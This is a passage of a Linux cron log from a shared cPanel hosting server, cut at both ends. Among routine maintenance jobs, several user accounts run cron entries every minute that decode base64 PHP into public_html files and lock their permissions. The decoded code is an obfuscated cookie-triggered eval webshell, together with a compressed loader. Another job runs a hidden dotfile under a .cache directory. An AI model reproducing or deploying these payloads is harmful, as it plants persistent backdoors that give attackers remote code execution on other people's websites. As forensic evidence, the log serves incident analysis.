ogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:03:01 medusa CROND[28376]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:03:01 medusa CROND[28378]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:03:01 medusa CROND[28377]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:03:01 medusa CROND[28375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:04:01 medusa CROND[14089]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:04:01 medusa CROND[14090]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:04:01 medusa CROND[14092]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:04:01 medusa CROND[14093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:04:01 medusa CROND[14091]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:04:01 medusa CROND[14095]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:04:01 medusa CROND[14097]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:04:01 medusa CROND[14099]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:04:01 medusa CROND[14101]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:04:01 medusa CROND[14103]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:04:01 medusa CROND[14102]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 10:04:01 medusa CROND[14117]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:04:01 medusa CROND[14116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:05:01 medusa CROND[29841]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:05:01 medusa CROND[29848]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 10:05:01 medusa CROND[29948]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 10:05:01 medusa CROND[30047]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 10:05:01 medusa CROND[30185]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 10:05:01 medusa CROND[30227]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 10:05:01 medusa CROND[30228]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 10:05:01 medusa CROND[30229]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 10:05:01 medusa CROND[30230]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 10:05:01 medusa CROND[30240]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:05:01 medusa CROND[30241]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 10:05:01 medusa CROND[30245]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:05:01 medusa CROND[30243]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 10:05:01 medusa CROND[30246]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:05:01 medusa CROND[30247]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:05:01 medusa CROND[30248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:05:01 medusa CROND[30257]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 10:05:01 medusa CROND[30261]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:05:01 medusa CROND[30252]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 10:05:01 medusa CROND[30264]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:05:01 medusa CROND[30271]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 10:05:01 medusa CROND[30275]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > 